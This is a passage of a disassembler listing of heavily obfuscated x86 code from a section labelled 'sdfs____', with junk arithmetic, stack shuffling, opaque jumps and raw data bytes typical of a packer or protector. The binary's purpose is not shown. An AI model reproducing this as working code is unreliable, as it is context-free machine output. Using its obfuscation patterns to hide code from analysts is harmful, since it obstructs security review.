loc_5A25E7:				; CODE XREF: sdfs____:0059C3C7j
		sub	edi, 49C722B3h
		add	edi, edx
		add	edi, 49C722B3h
		jmp	loc_5AF881
; ---------------------------------------------------------------------------


loc_5A25FA:				; CODE XREF: sdfs____:005A1FC9j
		mov	[esp], edx
		jmp	loc_5AD3B7
; ---------------------------------------------------------------------------


loc_5A2602:				; CODE XREF: sdfs____:0059F861j
		mov	bl, 0CDh
		mov	dl, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A3251
; ---------------------------------------------------------------------------
		db 57h
		dd 0C00609BFh, 0DDE94F07h, 0D100008Ch, 3A880FE6h, 81FFFF76h
		dd 606663F6h, 34F68117h, 53EAA92Ah, 2434FF53h, 4C4835Ah
		dd 0FFE708E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A263D:				; CODE XREF: sdfs____:0059AAA0j
		add	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A1E30
; ---------------------------------------------------------------------------


loc_5A264A:				; CODE XREF: sdfs____:0059C46Aj
		pop	ecx
		add	ecx, 4
		jmp	loc_5A4B8F
; ---------------------------------------------------------------------------


loc_5A2656:				; CODE XREF: sdfs____:0059D572j
		push	esi
		mov	esi, 4
		mov	eax, esi
		pop	esi
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A267D:				; CODE XREF: sdfs____:005A72E0j
		push	eax
		push	ebp
		mov	ebp, 65EC60B2h
		add	ebp, 74535E88h
		jmp	loc_5A123F
; ---------------------------------------------------------------------------
aBLl_hcp	db 'ê"L«_hæP',0
		align 2
		dw 3489h
		dd 3389BE24h, 0EC8121A9h, 4, 0B9240C89h, 139977B5h, 5206E9C1h
		dd 7CAA63BAh, 5AD101FEh, 0FF9F85E9h, 81D2F7FFh,	0F01E65C2h
		dd 0FFD001D3h, 835A2434h, 40504C4h, 0E9000000h,	6580h
; ---------------------------------------------------------------------------


loc_5A26DC:				; CODE XREF: sdfs____:005A7144j
		mov	cx, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5A0944
; ---------------------------------------------------------------------------
dword_5A26E8	dd 240C8B66h	; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59C8D7
; ---------------------------------------------------------------------------


loc_5A26F4:				; CODE XREF: sdfs____:005A4313j
		pop	edx
		dec	ebx
		shr	ebx, 6
		jmp	loc_5A0F5D
; ---------------------------------------------------------------------------


loc_5A26FE:				; CODE XREF: sdfs____:00599B0Fj
		mov	ebp, eax
		pop	eax
		mov	ecx, [esp]
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A4A5C
; ---------------------------------------------------------------------------


loc_5A271A:				; CODE XREF: sdfs____:005A8442j
		add	al, dl
		mov	edx, [esp]
		add	esp, 4
		pop	edx
		jmp	loc_59F84F
; ---------------------------------------------------------------------------


loc_5A272B:				; CODE XREF: sdfs____:0059FB7Cj
		mov	edx, esp
		add	edx, 4
		jmp	loc_59AAF4
; ---------------------------------------------------------------------------


loc_5A2738:				; CODE XREF: sdfs____:005A093Fj
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59FFF2
; ---------------------------------------------------------------------------


loc_5A2748:				; CODE XREF: sdfs____:0059B8DAj
		pop	esp
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A274E:				; CODE XREF: sdfs____:005A7671j
		xor	ebx, 0F150h
		sub	ecx, ebx
		jmp	loc_5AB0DA
; ---------------------------------------------------------------------------


loc_5A275B:				; CODE XREF: sdfs____:005A791Bj
		mov	esi, [esp]
		push	esi
		jmp	loc_5A3C98
; ---------------------------------------------------------------------------
		dd 8704EF83h, 895C243Ch, 4832424h, 1C8B0424h, 4C48124h
		dd 81000000h, 4C3h, 4EB8300h, 664EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A2789:				; CODE XREF: sdfs____:0059C373j
		sub	esp, 4
		jmp	loc_5AD1BB
; ---------------------------------------------------------------------------


loc_5A2794:				; CODE XREF: sdfs____:005AEBE9j
		shl	edx, 3
		jnz	loc_5AE326
		not	edx
		push	ecx
		mov	ecx, 528B3E33h
		mov	dh, ah
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A27AC:				; CODE XREF: sdfs____:005A955Bj
		pop	ebp
		push	5428h
		mov	[esp], ebx
		push	8F0h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 183F196Ch
		xor	ebp, 24526CEDh
		shr	ebp, 1
		jns	loc_5AC6FF
		xor	ebp, 6F834164h
		jmp	loc_5ABC03
; ---------------------------------------------------------------------------
		db 8Ah,	0C3h, 5Eh
		dd 1BE56h, 0F1010000h, 8E1C15Eh, 0E04C181h, 0EA811BB0h
		dd 92B036Eh, 28E9CA01h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2803:				; CODE XREF: sdfs____:0059FB5Aj
		pop	ecx
		pop	ecx
		jmp	loc_59CE05
; ---------------------------------------------------------------------------


loc_5A280A:				; CODE XREF: sdfs____:005A3839j
		or	esi, 110E1BBAh
		add	esi, 3EC65C16h
		ja	loc_5AB212
		xor	esi, 73E5BC15h
		mov	ebp, esi
		mov	edx, ebx
		mov	dh, 0F8h
		dec	esi
		xor	esi, 20165A32h
		shl	esi, 7
		sub	esi, 58BD0F95h
		or	esi, 740F185Ch
		jmp	loc_5A64BE
; ---------------------------------------------------------------------------


loc_5A2843:				; CODE XREF: sdfs____:0059DCBBj
		add	edx, eax
		push	edi
		mov	edi, 6E424F50h
		add	edi, 0BD71D083h
		sub	edx, edi
		jmp	loc_5A2D2E
; ---------------------------------------------------------------------------


loc_5A2858:				; CODE XREF: sdfs____:005ADA2Aj
		push	edi
		push	5BD12795h
		pop	edi
		and	edi, 3F165F51h
		jns	loc_5998E4
		inc	edi
		jmp	loc_5AE9D3
; ---------------------------------------------------------------------------
		db 28h,	0E8h, 0FFh
		dd 0C48A2434h
; ---------------------------------------------------------------------------


loc_5A2878:				; CODE XREF: sdfs____:00599408j
		pop	esi
		add	ebx, 7B127BE2h
		add	ebx, esi
		jmp	loc_5A18F6
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 24048BC3h, 8104C483h, 2C3h, 241C8700h, 0B30F665Ch, 0E99C2404h
		dd 0FFFFC723h, 54243C89h, 4BE565Fh, 1000000h, 24348BF7h
		dd 5304C483h, 935EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A28BD:				; CODE XREF: sdfs____:005A6BF6j
					; sdfs____:loc_5A8766j
		mov	dl, 3Ah
		mov	cl, dl
		pop	edx
		jmp	loc_5A0EE4
; ---------------------------------------------------------------------------


loc_5A28C7:				; CODE XREF: sdfs____:005AA4FFj
		not	esi
		jmp	loc_5A4175
; ---------------------------------------------------------------------------


loc_5A28CE:				; CODE XREF: sdfs____:0059F67Aj
		inc	bh
		jmp	loc_5AE754
; ---------------------------------------------------------------------------


loc_5A28D5:				; CODE XREF: sdfs____:0059E0B7j
					; sdfs____:0059F595j ...
		mov	[esp], edx
		jmp	loc_59AD70
; ---------------------------------------------------------------------------


loc_5A28DD:				; CODE XREF: sdfs____:0059FC7Bj
		xchg	eax, ecx
		jmp	loc_5A293F
; ---------------------------------------------------------------------------


loc_5A28E3:				; CODE XREF: sdfs____:0059ED13j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5B0436
; ---------------------------------------------------------------------------


loc_5A28F1:				; CODE XREF: sdfs____:0059F720j
		pop	ecx
		jmp	loc_599D9C
; ---------------------------------------------------------------------------


loc_5A28F7:				; CODE XREF: sdfs____:005A9B65j
		xor	ebx, 394A7C89h
		add	ebx, 64F2793h
		mov	esi, ebx
		push	dword ptr [esp]
		jmp	loc_5AB73A
; ---------------------------------------------------------------------------


loc_5A290D:				; CODE XREF: sdfs____:0059EE15j
		push	dword ptr [esp]
		jmp	loc_5AD535
; ---------------------------------------------------------------------------


loc_5A2915:				; CODE XREF: sdfs____:005A5C8Fj
		not	edi
		jmp	loc_5AEDD2
; ---------------------------------------------------------------------------
		dd 691368h, 240C8900h, 6A42A5B9h, 0EF18101h, 29B6A6C2h
		dd 4FE959C8h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2937:				; CODE XREF: sdfs____:0059B139j
		shl	cl, 4
		jmp	loc_59E621
; ---------------------------------------------------------------------------


loc_5A293F:				; CODE XREF: sdfs____:005A28DEj
		dec	ecx
		jmp	loc_5A767E
; ---------------------------------------------------------------------------
		db 5, 0FEh, 12h
		dd 0EBE94773h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A294F:				; CODE XREF: sdfs____:005A966Aj
		xor	ch, dh
		pop	edx
		jmp	loc_5A0522
; ---------------------------------------------------------------------------


loc_5A2957:				; CODE XREF: sdfs____:0059DB65j
		sub	dword ptr [esp], 58F1001Ah
		pop	ecx
		push	3DD8h
		jmp	loc_59CFF4
; ---------------------------------------------------------------------------


loc_5A2969:				; CODE XREF: sdfs____:005A01F7j
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4DE77AEAh
		xor	ebp, 0FEB9559Bh
		add	ecx, 561223B7h
		push	ebp
		jmp	loc_5AF57D
; ---------------------------------------------------------------------------


loc_5A2984:				; CODE XREF: sdfs____:0059A7E2j
		sub	ebx, 9D67BFC9h
		add	eax, ebx
		jmp	loc_5AEE62
; ---------------------------------------------------------------------------


loc_5A2991:				; CODE XREF: sdfs____:loc_5B001Cj
		sub	ebp, 2E5A8366h
		add	eax, 68D32169h
		sub	eax, 0AB9050Dh
		push	edx
		mov	edx, 62BC46B1h
		inc	edx
		jmp	loc_5AFDE2
; ---------------------------------------------------------------------------


loc_5A29AD:				; CODE XREF: sdfs____:005ABB45j
		jmp	loc_5A0785
; ---------------------------------------------------------------------------


loc_5A29B2:				; CODE XREF: sdfs____:005A4D1Bj
		add	ecx, 4
		jmp	loc_5A6D68
; ---------------------------------------------------------------------------


loc_5A29BD:				; CODE XREF: sdfs____:0059E568j
		not	ebx
		push	edx
		jmp	loc_5AF6F8
; ---------------------------------------------------------------------------


loc_5A29C5:				; CODE XREF: sdfs____:005AAEA7j
		jnz	loc_5A23A6
		xor	esi, 98F45A2Dh
		xor	ebx, esi
		pop	esi
		push	esi
		xor	al, 86h
		pop	ebp


loc_5A29D8:				; CODE XREF: sdfs____:005A9753j
					; sdfs____:005AB357j
		push	2E632C8Ch
		mov	esi, [esp]
		push	ebx
		jmp	loc_5A764C
; ---------------------------------------------------------------------------


loc_5A29E6:				; CODE XREF: sdfs____:0059D2C7j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	small 531Dh
		jmp	loc_5AD0E3
; ---------------------------------------------------------------------------
		dd 0FFF805E9h, 5D5455FFh, 4C581h, 0BF570000h, 4, 3C8BFD01h
		dd 7073E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2A2E:				; CODE XREF: sdfs____:0059E2EDj
					; sdfs____:loc_59E61Cj
		neg	edi
		jbe	loc_5AA53A
		jmp	loc_5A998F
; ---------------------------------------------------------------------------
aIurs		db '‰ãRé"¼',0
		db 0
; ---------------------------------------------------------------------------


loc_5A2A43:				; CODE XREF: sdfs____:0059BE3Fj
		mov	eax, [esp]
		jmp	loc_5ABCB5
; ---------------------------------------------------------------------------


loc_5A2A4B:				; CODE XREF: sdfs____:0059EB92j
		add	eax, ebx
		jmp	loc_5AA547
; ---------------------------------------------------------------------------


loc_5A2A52:				; CODE XREF: sdfs____:0059C56Ej
		pop	esi
		add	edi, 21C271Eh
		push	esi
		mov	esi, 357B1DB2h
		add	edi, esi
		pop	esi
		neg	edi
		and	edi, 7DDB03CEh
		xor	edi, 22412243h
		xor	edx, edi
		pop	edi
		or	edx, 4CEF03D9h
		ja	loc_59B8C8
		and	edx, 4F797F8Eh
		mov	eax, ebp
		and	al, 85h


loc_5A2A89:				; CODE XREF: sdfs____:005A6CC4j
		push	edx
		mov	edx, 57E477B8h
		jmp	loc_59D66A
; ---------------------------------------------------------------------------


loc_5A2A94:				; CODE XREF: sdfs____:005ACBB2j
		mov	[esp], ecx
		mov	ecx, 352F1962h
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		neg	ebx
		jp	loc_5A37C9
		jmp	loc_5A5520
; ---------------------------------------------------------------------------


loc_5A2AB2:				; CODE XREF: sdfs____:005AE0D8j
		xor	bh, dl
		pop	edx
		and	bh, 0D5h
		push	dx
		push	ecx
		mov	cl, 49h
		mov	dh, cl
		pop	ecx
		sub	bh, dh
		jmp	loc_5A0B3A
; ---------------------------------------------------------------------------


loc_5A2AC7:				; CODE XREF: sdfs____:005A2337j
		mov	esi, esp
		jmp	loc_5A3BFE
; ---------------------------------------------------------------------------


loc_5A2ACE:				; CODE XREF: sdfs____:005AB680j
		shl	eax, 8
		push	edi
		mov	edi, 18C46D9Fh
		add	eax, edi
		pop	edi
		add	eax, 46C39ACEh
		add	ebx, eax
		pop	eax
		add	ebx, eax
		push	eax
		jmp	loc_5ADCA5
; ---------------------------------------------------------------------------


loc_5A2AEA:				; CODE XREF: sdfs____:0059DAFFj
					; sdfs____:005A13BAj
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		add	esi, ebx
		pop	ebx
		jmp	loc_59DBC0
; ---------------------------------------------------------------------------
word_5A2AFE	dw 8B66h		; DATA XREF: sdfs____:00599000o
		dd 2BE9240Ch
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2B07:				; CODE XREF: sdfs____:005A231Fj
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	6635h
		mov	[esp], eax
		jmp	loc_599D43
; ---------------------------------------------------------------------------


loc_5A2B1A:				; CODE XREF: sdfs____:005A99B0j
		pop	esp
		add	esp, 4
		add	eax, 33B36084h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A3EB5
; ---------------------------------------------------------------------------


loc_5A2B3B:				; CODE XREF: sdfs____:005AAB23j
		push	0DBAh
		jmp	loc_59F14B
; ---------------------------------------------------------------------------
		db 5Eh,	0F7h, 0D8h
		dd 10548h, 0C2E90000h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2B53:				; CODE XREF: sdfs____:0059F363j
		not	cl
		add	cl, 0D3h
		jmp	loc_59E08E
; ---------------------------------------------------------------------------
		db 88h,	0CAh, 59h
		dd 2C70F280h, 0B6526616h, 66F00037h, 8324148Bh,	0D00002C4h
		dd 39E95351h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2B7B:				; CODE XREF: sdfs____:005ADDFDj
		mov	eax, 3CA6B51h
		mov	ebp, 3574F724h
		add	ebp, 24100E61h
		add	ebp, eax
		push	ecx
		mov	ecx, 50632ED9h
		jmp	loc_5AAD49
; ---------------------------------------------------------------------------


loc_5A2B98:				; CODE XREF: sdfs____:005A6504j
		pop	ebx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59A6B6
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 4C481h, 0E9530000h, 0BC52h
; ---------------------------------------------------------------------------


loc_5A2BBC:				; CODE XREF: sdfs____:0059C520j
		mov	esi, ecx
		mov	edi, esi
		pop	esi
		pop	ecx
		mov	ecx, 2C9B75E4h
		jmp	loc_5A5EC9
; ---------------------------------------------------------------------------


loc_5A2BCC:				; CODE XREF: sdfs____:0059C320j
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59C46F
; ---------------------------------------------------------------------------


loc_5A2BDD:				; CODE XREF: sdfs____:0059920Cj
		sub	ebx, 65213C2Eh
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0F7A270Fh
		jmp	loc_5ABE89
; ---------------------------------------------------------------------------


loc_5A2BF7:				; CODE XREF: sdfs____:005A341Aj
		inc	edi
		or	edi, 4E895F4Fh
		or	edi, 34232EC6h
		inc	edi
		xor	edi, 70FF0974h
		add	edi, 0F0FF7690h
		add	ecx, edi
		pop	edi
		push	5463h
		jmp	loc_5A2D3F
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 5604C683h, 42474FFh, 8124348Bh, 4C4h, 24048F00h
		dd 1EBB535Ch, 0F744671Ch, 79E956D3h, 340000D2h,	58C3305Dh
		dd 0E95BD988h, 0FFFF720Fh, 0C2815A54h, 4, 4EC81h, 0E90000h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2C67:				; CODE XREF: sdfs____:005A21BBj
		pop	ebp
		jmp	loc_59AFCB
; ---------------------------------------------------------------------------


loc_5A2C6D:				; CODE XREF: sdfs____:005A8579j
		shl	esi, 5
		dec	esi
		xor	esi, 7C65D4DEh
		and	eax, esi
		jmp	loc_59FB43
; ---------------------------------------------------------------------------


loc_5A2C7E:				; CODE XREF: sdfs____:005993F7j
		pop	ebp
		push	edx
		mov	edx, 656B7F31h
		jmp	loc_59B0C2
; ---------------------------------------------------------------------------


loc_5A2C8A:				; CODE XREF: sdfs____:005A40C6j
		mov	ecx, 54323BB1h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AEB63
; ---------------------------------------------------------------------------


loc_5A2C97:				; CODE XREF: sdfs____:0059C804j
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 6C3609FDh
		jmp	loc_5AE507
; ---------------------------------------------------------------------------
		dd 81E9E389h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2CB7:				; CODE XREF: sdfs____:005AD67Cj
		push	esi
		mov	esi, 748F1676h
		dec	esi
		dec	esi
		sub	esi, 41A7DBDCh
		add	edi, esi
		pop	esi
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 45A25DB3h
		pop	edx
		jmp	loc_5AF5FF
; ---------------------------------------------------------------------------


loc_5A2CDC:				; CODE XREF: sdfs____:005AF019j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_59F179
; ---------------------------------------------------------------------------


loc_5A2CEC:				; CODE XREF: sdfs____:005AEE03j
		mov	ecx, 244C18FFh
		add	ecx, 209371C0h
		shl	ecx, 7
		jmp	loc_59B4B7
; ---------------------------------------------------------------------------


loc_5A2CFF:				; CODE XREF: sdfs____:005A06FBj
		mov	edi, ecx
		jmp	loc_5ACCC8
; ---------------------------------------------------------------------------


loc_5A2D06:				; CODE XREF: sdfs____:loc_5A0CA3j
		xor	ebp, 6825CAA5h
		push	ebp
		pop	edi
		pop	ebp
		mov	ebx, 5A32FED1h
		jmp	loc_59A0E1
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0E9h
		dd 0FFFFD887h
; ---------------------------------------------------------------------------


loc_5A2D20:				; CODE XREF: sdfs____:005A85A4j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A00C7
; ---------------------------------------------------------------------------


loc_5A2D2E:				; CODE XREF: sdfs____:005A2853j
		pop	edi
		jmp	loc_5A03D9
; ---------------------------------------------------------------------------
		dd 390BC681h, 86E9656Bh
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2D3F:				; CODE XREF: sdfs____:005A2C19j
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	dword ptr [esp]
		jmp	loc_5A85A0
; ---------------------------------------------------------------------------


loc_5A2D51:				; CODE XREF: sdfs____:005A0B3Fj
		and	bh, 3Fh
		ja	loc_5A3FFE
		add	bh, 0D7h
		jo	loc_59C3EC
		jmp	loc_5A9EEA
; ---------------------------------------------------------------------------


loc_5A2D68:				; CODE XREF: sdfs____:005AA946j
		neg	edi
		sub	edi, 516308D1h
		shl	edi, 8
		sub	edi, 71EE256Fh
		sub	edi, 545071F6h
		xor	ebp, edi
		pop	edi
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_59E5CB
; ---------------------------------------------------------------------------


loc_5A2D90:				; CODE XREF: sdfs____:0059D51Aj
		mov	bh, 0E2h
		add	bh, 0FFh
		push	ecx
		mov	cl, 24h
		jmp	loc_5AA683
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 87000000h, 10E92414h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A2DAB:				; CODE XREF: sdfs____:005A8F7Dj
		push	edi
		mov	edi, 5B00E4Eh
		dec	edi
		neg	edi
		add	edi, 2AAF2CC2h
		add	edx, 65A05929h
		add	edx, 50132987h
		sub	edx, edi
		sub	edx, 50132987h
		sub	edx, 65A05929h
		pop	edi
		sub	edx, 1
		add	edx, 749F7074h
		jmp	loc_59E1E4
; ---------------------------------------------------------------------------


loc_5A2DE3:				; CODE XREF: sdfs____:005A232Aj
		or	edx, 2B3715D3h
		add	edx, 0A843696Ah
		mov	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 58050768h
		not	ecx
		add	ecx, 0FFFFFFFFh
		not	ecx
		jmp	loc_59E9C8
; ---------------------------------------------------------------------------


loc_5A2E04:				; CODE XREF: sdfs____:005A0F65j
		sub	ebx, 0FACFB226h
		push	ebx
		dec	dword ptr [esp]
		jmp	loc_5A0AFE
; ---------------------------------------------------------------------------


loc_5A2E13:				; CODE XREF: sdfs____:005A7F47j
		mov	[esp], ebp
		jmp	loc_5A77F3
; ---------------------------------------------------------------------------


loc_5A2E1B:				; CODE XREF: sdfs____:0059C7A9j
		mov	bh, 1Eh
		add	bh, 39h
		xor	bh, 0
		jmp	loc_5AB322
; ---------------------------------------------------------------------------


loc_5A2E28:				; CODE XREF: sdfs____:0059E5C6j
		push	ebx
		jmp	loc_5A91C6
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EA810000h, 4, 2B2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A2E41:				; CODE XREF: sdfs____:0059F48Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 623D4B76h
		xor	[edx+38h], ebp
		pop	ebp
		push	34DBh
		mov	[esp], ecx
		mov	ecx, 4E24247h
		sub	[edx+38h], ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	dword ptr [edx+38h], 2C4C39DAh


loc_5A2E82:				; CODE XREF: sdfs____:0059EADEj
		sub	esp, 4
		mov	[esp], ebx
		push	17677DAAh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	270Fh
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5A3C37
; ---------------------------------------------------------------------------
		db 81h
		dd 935E05C2h, 20F28169h, 0E99193F6h, 0FFFFC06Bh
; ---------------------------------------------------------------------------


loc_5A2EB8:				; CODE XREF: sdfs____:005AAF62j
		pop	esp
		jmp	loc_5A24F5
; ---------------------------------------------------------------------------
		dw 6857h
		dd 418125B5h, 89F7815Fh, 0E900F41Bh, 0FFFFDEC8h
; ---------------------------------------------------------------------------


loc_5A2ED0:				; CODE XREF: sdfs____:0059BECBj
		add	eax, 0F1F511Eh
		sub	eax, ecx
		sub	eax, 0F1F511Eh
		push	edi
		mov	edi, 51C4561Dh
		add	edi, 71DF512Eh
		jmp	loc_5AD55D
; ---------------------------------------------------------------------------


loc_5A2EED:				; CODE XREF: sdfs____:0059F37Fj
		sub	ecx, 0E344CF1h
		and	ecx, 1EFE3C45h
		jnp	loc_59A1F4
		shr	ecx, 8
		jnz	loc_5A78D0
		and	al, 0ABh


loc_5A2F0A:				; CODE XREF: sdfs____:005AFC29j
		sub	edx, 0CE3179F2h
		xor	esi, edx
		pop	edx
		neg	esi
		jmp	loc_5A7F27
; ---------------------------------------------------------------------------


loc_5A2F1A:				; CODE XREF: sdfs____:005A6F20j
		pop	ebp
		sub	ebx, 0F4983E92h
		sub	ebp, ebx
		pop	ebx
		push	7B2h
		mov	[esp], ebp
		jmp	loc_5AC181
; ---------------------------------------------------------------------------


loc_5A2F31:				; CODE XREF: sdfs____:005AE97Fj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5A3CF9
; ---------------------------------------------------------------------------
		db 58h
		dd 0E904EC83h, 2078h
; ---------------------------------------------------------------------------


loc_5A2F44:				; CODE XREF: sdfs____:00599BA3j
		mov	edx, edi
		mov	edi, [esp]
		jmp	loc_5A1600
; ---------------------------------------------------------------------------


loc_5A2F4E:				; CODE XREF: sdfs____:005A74D1j
		push	395Fh
		jmp	loc_5B003D
; ---------------------------------------------------------------------------
dword_5A2F58	dd 0B55166ACh, 0D9A4E96Bh		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2F62:				; CODE XREF: sdfs____:0059EBD0j
		dec	ebp
		jmp	loc_5A053F
; ---------------------------------------------------------------------------


loc_5A2F68:				; CODE XREF: sdfs____:005A195Fj
					; sdfs____:005A9EA4j
		not	ebx
		push	esi
		push	eax
		mov	eax, 13F54BD5h
		mov	esi, 68C02DC5h
		xor	esi, eax
		pop	eax
		inc	esi
		jmp	loc_59B436
; ---------------------------------------------------------------------------


loc_5A2F7F:				; CODE XREF: sdfs____:00599A6Aj
		push	edx
		mov	edx, 4751134Dh
		shl	edx, 5
		jp	loc_5A675C
		not	edx
		add	edx, 10A15693h
		mov	edx, edx
		mov	eax, eax


loc_5A2F9A:				; CODE XREF: sdfs____:005A6195j
		push	eax
		mov	eax, 61456FF5h
		shl	eax, 7
		jmp	loc_59FE51
; ---------------------------------------------------------------------------


loc_5A2FA8:				; CODE XREF: sdfs____:00599BE5j
		pop	ebp
		jmp	loc_5A9A45
; ---------------------------------------------------------------------------


loc_5A2FAE:				; CODE XREF: sdfs____:005AE1E9j
		add	esp, 4
		add	eax, 4
		push	6FE0h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5A6595
; ---------------------------------------------------------------------------
aNssg		db '­é˜£',0             ; DATA XREF: sdfs____:005990A8o
		align 2


loc_5A2FCE:				; CODE XREF: sdfs____:0059EB03j
		inc	edi
		not	edi
		sub	edi, 0F9C0686Eh
		push	ecx
		mov	ecx, 1A1C0C96h
		dec	ecx
		dec	ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_59FC77
; ---------------------------------------------------------------------------


loc_5A2FE8:				; CODE XREF: sdfs____:0059BFE2j
		push	ecx
		jmp	loc_5A9582
; ---------------------------------------------------------------------------


loc_5A2FEE:				; CODE XREF: sdfs____:005AB75Dj
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A6F0D
; ---------------------------------------------------------------------------
aQsi		db 'Qé©}',0
		align 4


loc_5A300C:				; CODE XREF: sdfs____:0059DED8j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 200000h
		and	eax, ecx
		jmp	loc_5AF26B
; ---------------------------------------------------------------------------


loc_5A302B:				; CODE XREF: sdfs____:005A6BF0j
		mov	edx, 23A3310Fh
		shr	edx, 8
		jmp	loc_5AC3FA
; ---------------------------------------------------------------------------


loc_5A3038:				; CODE XREF: sdfs____:005AB5EFj
		push	edx
		jmp	loc_59B91B
; ---------------------------------------------------------------------------


loc_5A303E:				; CODE XREF: sdfs____:0059EE86j
		add	esp, 4
		push	edx
		mov	dh, 0B5h
		shl	dh, 4
		jmp	loc_5AD601
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 0CA40E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A305D:				; CODE XREF: sdfs____:005A0C86j
		add	ebx, 126C005Eh
		jmp	loc_5ACB68
; ---------------------------------------------------------------------------


loc_5A3068:				; CODE XREF: sdfs____:005A7BC4j
		sub	eax, 719C38D2h
		pop	ebx
		jmp	loc_5AC5AC
; ---------------------------------------------------------------------------


loc_5A3073:				; CODE XREF: sdfs____:005A5752j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AAFD7
; ---------------------------------------------------------------------------
		db 68h,	6, 25h
		dd 4890000h, 10AD6824h,	48B6340h, 4C48324h, 0FFB4F4E9h
		dd 0C48158FFh, 4, 736568h, 240C8900h, 0FFE6EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A30B1:				; CODE XREF: sdfs____:0059B65Bj
		mov	eax, 49446F9Fh
		or	eax, 3CF03FC8h
		jmp	loc_5A1270
; ---------------------------------------------------------------------------
dword_5A30C0	dd 240C8B66h, 83E78957h, 1C8904ECh, 0FFB3E924h,	830FFFFFh
					; DATA XREF: sdfs____:0059901Co
		dd 8989h, 6301E9h, 602DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A30E2:				; CODE XREF: sdfs____:0059A82Ej
		not	eax
		not	eax
		jmp	loc_599459
; ---------------------------------------------------------------------------


loc_5A30EB:				; CODE XREF: sdfs____:005A5214j
		pop	ebp
		inc	ebx
		jmp	loc_59B794
; ---------------------------------------------------------------------------


loc_5A30F2:				; CODE XREF: sdfs____:005A2370j
		add	esp, 4
		pop	edx
		jmp	loc_59D559
